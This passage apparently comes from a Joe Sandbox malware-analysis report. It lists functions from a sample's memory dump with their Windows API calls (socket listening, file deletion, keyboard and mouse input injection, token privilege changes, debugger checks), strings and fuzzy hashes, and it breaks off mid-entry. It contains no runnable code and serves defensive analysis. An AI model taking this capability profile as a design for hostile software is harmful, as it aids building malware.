Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 6cbaa942b27f7b98c3d56d977e00e4a9bb096a4078814f9389a8eac77a7d84b1
Instruction ID: 15ef353b6498ed640b38b5546c5f5b988703892285b53e114bb65a5cfeca3e77
Opcode Fuzzy Hash: 6cbaa942b27f7b98c3d56d977e00e4a9bb096a4078814f9389a8eac77a7d84b1
Instruction Fuzzy Hash: 4A012633A1022AABEB6422B49E87FBF725CAB14750F140529FC03E30D2D9B55C40B2D4

Function 00FE1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00FE1276
WSAGetLastError.WSOCK32 ref: 00FE1283
bind.WSOCK32(00000000,?,00000010), ref: 00FE12BA
WSAGetLastError.WSOCK32 ref: 00FE12C5
closesocket.WSOCK32(00000000), ref: 00FE12F4
listen.WSOCK32(00000000,00000005), ref: 00FE1303
WSAGetLastError.WSOCK32 ref: 00FE130D
closesocket.WSOCK32(00000000), ref: 00FE133C

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 183c30f8a95a593d86678851cc5add335801bdfb854ed891e223907d409376c8
Instruction ID: 1a2125727a7f63275cee5a031a70a04ee60a584e4dbd5fdf146c041b86558bad
Opcode Fuzzy Hash: 183c30f8a95a593d86678851cc5add335801bdfb854ed891e223907d409376c8
Instruction Fuzzy Hash: 5C41E731A001549FD710DF66C988B69BBE5BF86328F188188D9568F3D6C771EC81DBE1

Function 00F9B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00F9B9D4
_free.LIBCMT ref: 00F9B9F8
_free.LIBCMT ref: 00F9BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,01003700), ref: 00F9BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,0103121C,000000FF,00000000,0000003F,00000000,?,?), ref: 00F9BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,01031270,000000FF,?,0000003F,00000000,?), ref: 00F9BC36
_free.LIBCMT ref: 00F9BD4B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 63206e991d8e52ab495957b6546f1da77c0ec8ff0647e34df940052a96a038b2
Instruction ID: 1f03b6164475f8980551720e302023e51e9c36cd4e3f752afef63bbc9dee2af6
Opcode Fuzzy Hash: 63206e991d8e52ab495957b6546f1da77c0ec8ff0647e34df940052a96a038b2
Instruction Fuzzy Hash: 19C13A71D04208AFFF20DF69AE41BAE7BB9EF85320F14419AE894D7281D7399E01E750

Function 00FCD3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F63AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F63A97,?,?,00F62E7F,?,?,?,00000000), ref: 00F63AC2

Part of subcall function 00FCE199: GetFileAttributesW.KERNEL32(?,00FCCF95), ref: 00FCE19A

FindFirstFileW.KERNEL32(?,?), ref: 00FCD420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00FCD470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FCD481
FindClose.KERNEL32(00000000), ref: 00FCD498
FindClose.KERNEL32(00000000), ref: 00FCD4A1

Strings

\*.*, xrefs: 00FCD3F2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 0cbbbe90c23b21cd797dc6dd68dc234bc3e4f446c456fad6ada7a6664c9e9d1a
Instruction ID: f43e8640a70ee5098c6b3672df78c0562a97261dd7924a05c2e568106c810afe
Opcode Fuzzy Hash: 0cbbbe90c23b21cd797dc6dd68dc234bc3e4f446c456fad6ada7a6664c9e9d1a
Instruction Fuzzy Hash: EF3180714083459BC304EF64DD929AFB7ACAE91314F444A2DF4D593191EB34AA09EBA3

Function 00FD648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FD64DC
CoInitialize.OLE32(00000000), ref: 00FD6639
CoCreateInstance.OLE32(00FFFCF8,00000000,00000001,00FFFB68,?), ref: 00FD6650
CoUninitialize.OLE32 ref: 00FD68D4

Strings

.lnk, xrefs: 00FD64BA, 00FD6524, 00FD65E0

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 9bc7b017bfaaf20158c23f1ce62df3bc70565c758b3f3634e2f4e87b49604213
Instruction ID: 00a8b0ff880bd88c1e7c9b43d6823b64cfbc32cf99fe00db2a055ecc4515e78e
Opcode Fuzzy Hash: 9bc7b017bfaaf20158c23f1ce62df3bc70565c758b3f3634e2f4e87b49604213
Instruction Fuzzy Hash: ACD14771508301AFC304EF24C881A6BB7E9FF99704F04496DF595CB2A1EB71E949DBA2

Function 00FE22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00FE22E8

Part of subcall function 00FDE4EC: GetWindowRect.USER32(?,?), ref: 00FDE504

GetDesktopWindow.USER32 ref: 00FE2312
GetWindowRect.USER32(00000000), ref: 00FE2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00FE2355
GetCursorPos.USER32(?), ref: 00FE2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00FE23DF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 96e9cd5656e63c6eea7b9a6ac9c0ce406bf58ececd05b521dedb75e793d2384b
Instruction ID: b25226978a889d52d81ccef19048d3862ca76335bdc58baef89db08e2e871494
Opcode Fuzzy Hash: 96e9cd5656e63c6eea7b9a6ac9c0ce406bf58ececd05b521dedb75e793d2384b
Instruction Fuzzy Hash: B331BC72505359AFD720DF15C849B6BBBAEFF84710F040919F98597181EB34EA08DB92

Function 00FD9B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00FD9B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00FD9C8B

Part of subcall function 00FD3874: GetInputState.USER32 ref: 00FD38CB
Part of subcall function 00FD3874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FD3966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00FD9BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00FD9C75

Strings

*.*, xrefs: 00FD9B5D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 103bb918e5cdb6b77b8e8b6b3c1d83ab500b6dfb36a746971ba9cd069a62dde9
Instruction ID: 388cda84588f11ef3f2c14674444060d490d95bf2c052a3c018736669e970740
Opcode Fuzzy Hash: 103bb918e5cdb6b77b8e8b6b3c1d83ab500b6dfb36a746971ba9cd069a62dde9
Instruction Fuzzy Hash: 05417071D0421A9FCF15DFA4CD45AEEBBB9EF05310F144056E815A32A1DB709E44EF60

Function 00FCAA57 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00FCAAAC
SetKeyboardState.USER32(00000080), ref: 00FCAAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00FCAB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00FCAB88

Strings

nitializeCriticalSectionEx, xrefs: 00FCAAEA

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID: nitializeCriticalSectionEx
API String ID: 432972143-216347044
Opcode ID: bb7a5506df042907b02370f82d4df0d8e447ebc524b7773d1b63da848545660e
Instruction ID: 22d72f56f4e46af6aa5d9a7120f0174c0e0e7f08f9e27756bd0603c0c93f62f0
Opcode Fuzzy Hash: bb7a5506df042907b02370f82d4df0d8e447ebc524b7773d1b63da848545660e
Instruction Fuzzy Hash: 04312930E4060DAEEB218A64CE06FFA77A6AFC4324F04421EF185561D1C775AD84E762

Function 00F7997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00F79A4E
GetSysColor.USER32(0000000F), ref: 00F79B23
SetBkColor.GDI32(?,00000000), ref: 00F79B36

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 2786bc4c6ed8fcd17303d1fc7caf5f0abe1273f2e20f28e060cce377f1b94516
Instruction ID: 694059ad4d0489417103c5fb9fe90d53b69ee1a0455037d39c56a2bf37236739
Opcode Fuzzy Hash: 2786bc4c6ed8fcd17303d1fc7caf5f0abe1273f2e20f28e060cce377f1b94516
Instruction Fuzzy Hash: 23A1267150D508AEF724AA3E8C48FBB369DDBC6320B24811BF506C6695CAAD9D01F773

Function 00FE1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00FE307A
Part of subcall function 00FE304E: _wcslen.LIBCMT ref: 00FE309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00FE185D
WSAGetLastError.WSOCK32 ref: 00FE1884
bind.WSOCK32(00000000,?,00000010), ref: 00FE18DB
WSAGetLastError.WSOCK32 ref: 00FE18E6
closesocket.WSOCK32(00000000), ref: 00FE1915

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: ef7ccc66cc340c66c05aba22b8b5263bcbf846c1866dafa4ef5a5cb88ef3c7dd
Instruction ID: 32b327b5c84b67804a09738b99060f26c1603dabf2291a97d90f18b73f40d860
Opcode Fuzzy Hash: ef7ccc66cc340c66c05aba22b8b5263bcbf846c1866dafa4ef5a5cb88ef3c7dd
Instruction Fuzzy Hash: 1B519171A00214AFDB10EF25C886F6A77E5AF44718F088099F94A9F393CB75AD41DBE1

Function 00FF1C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00FF1CC0
IsWindowEnabled.USER32 ref: 00FF1CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00FF1CDB
IsIconic.USER32 ref: 00FF1CE9
IsZoomed.USER32 ref: 00FF1CF7

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: b625b35657d5f78fc6ed0efef88cfb82856e1cd84b8627932dac11b711b36e97
Instruction ID: fd1ad02f98d67957264513d7327f6eb2cf3ced06ad2af8f07ca96363cfaa33dc
Opcode Fuzzy Hash: b625b35657d5f78fc6ed0efef88cfb82856e1cd84b8627932dac11b711b36e97
Instruction Fuzzy Hash: ED21A631B40219DFD7208F1AC884B7A7BA9FF95324B198058E945CB361D775DC42EBD0

Function 00FDCE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00FDCE89
GetLastError.KERNEL32(?,00000000), ref: 00FDCEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00FDCEFE

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 953089b5864ec640eb2b154a46124f370a42b0d1ba1e90d9ca935cadd2c15fd0
Instruction ID: ea203e481ae9e6bee2a968960e930a412ec7aebb09aa45f520c39b4892f9cf8f
Opcode Fuzzy Hash: 953089b5864ec640eb2b154a46124f370a42b0d1ba1e90d9ca935cadd2c15fd0
Instruction Fuzzy Hash: CE2190B190030A9BD720DFA5C945BA777FDEF40364F14441EE546D2251E774ED04EBA0

Function 00FD5C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FD5CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00FD5D17
FindClose.KERNEL32(?), ref: 00FD5D5F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: b2d710743ca7f4ba4252fc8244e4cfe1a956c03f2925f4e9ed07cb10f1290697
Instruction ID: 015683a526795e7f78ef34b17de4ba061dc7b8c21d28de01b4326e8952374276
Opcode Fuzzy Hash: b2d710743ca7f4ba4252fc8244e4cfe1a956c03f2925f4e9ed07cb10f1290697
Instruction Fuzzy Hash: F6519C35A046019FC714DF28C894E96B7E5FF49324F18855EE99A8B3A1CB30ED04DFA1

Function 00F92622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00F9271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00F92724
UnhandledExceptionFilter.KERNEL32(?), ref: 00F92731

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 12037fcf6885de4e0ebdc4174195ef9922920c3757d29d6e6cbc580833cf7188
Instruction ID: 7f414f3c9521f283b7bf045c61d45f8ebe906922face7a831f533d574bb45591
Opcode Fuzzy Hash: 12037fcf6885de4e0ebdc4174195ef9922920c3757d29d6e6cbc580833cf7188
Instruction Fuzzy Hash: 4931D67490122CABCB61DF64DD887DCB7B8AF08710F5041EAE41CA7260EB349F859F45

Function 00FD51CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FD51DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00FD5238
SetErrorMode.KERNEL32(00000000), ref: 00FD52A1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: f5f1439115eb023ba4fe1eb5e20d599ae3211c8e9b050719ce48f9269dc1a0de
Instruction ID: f70d375b2df757520ee47857de08ac57492873a09372fdb6123469bde82d6d33
Opcode Fuzzy Hash: f5f1439115eb023ba4fe1eb5e20d599ae3211c8e9b050719ce48f9269dc1a0de
Instruction Fuzzy Hash: 7C318035A00518DFDB00DF54D884EADBBB5FF08314F088099E8459B352C735E859DB90

Function 00FC16C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00F7FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00F80668
Part of subcall function 00F7FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00F80685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FC170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FC173A
GetLastError.KERNEL32 ref: 00FC174A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 0fb4771d4f720df03cf221934cbeabb24a5761f175579c6c0733426b22823141
Instruction ID: 4283b2bdd56b7c3442596f1d360357f611d71e2066b4fc642e7600f4b88ce15c
Opcode Fuzzy Hash: 0fb4771d4f720df03cf221934cbeabb24a5761f175579c6c0733426b22823141
Instruction Fuzzy Hash: 5711C1B2400309FFD7289F54DD86E6AB7BDFF44714B20852EE05693241EB70BC41DA60

Function 00FCD5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00FCD608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00FCD645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00FCD650

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: db96e0b20be6f5c028c4614ff1130cd9efccacd32440c2ea8352ae9132155a0e
Instruction ID: 33b8a3b9d27a5535506121df61e07d7c94af94a86d8787a154731f9502c63dc6
Opcode Fuzzy Hash: db96e0b20be6f5c028c4614ff1130cd9efccacd32440c2ea8352ae9132155a0e
Instruction Fuzzy Hash: E9113C75E05228BBDB108F999D45FAFBBBCEB45B60F108126F904E7290D6704A05EBA1

Function 00FC1663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

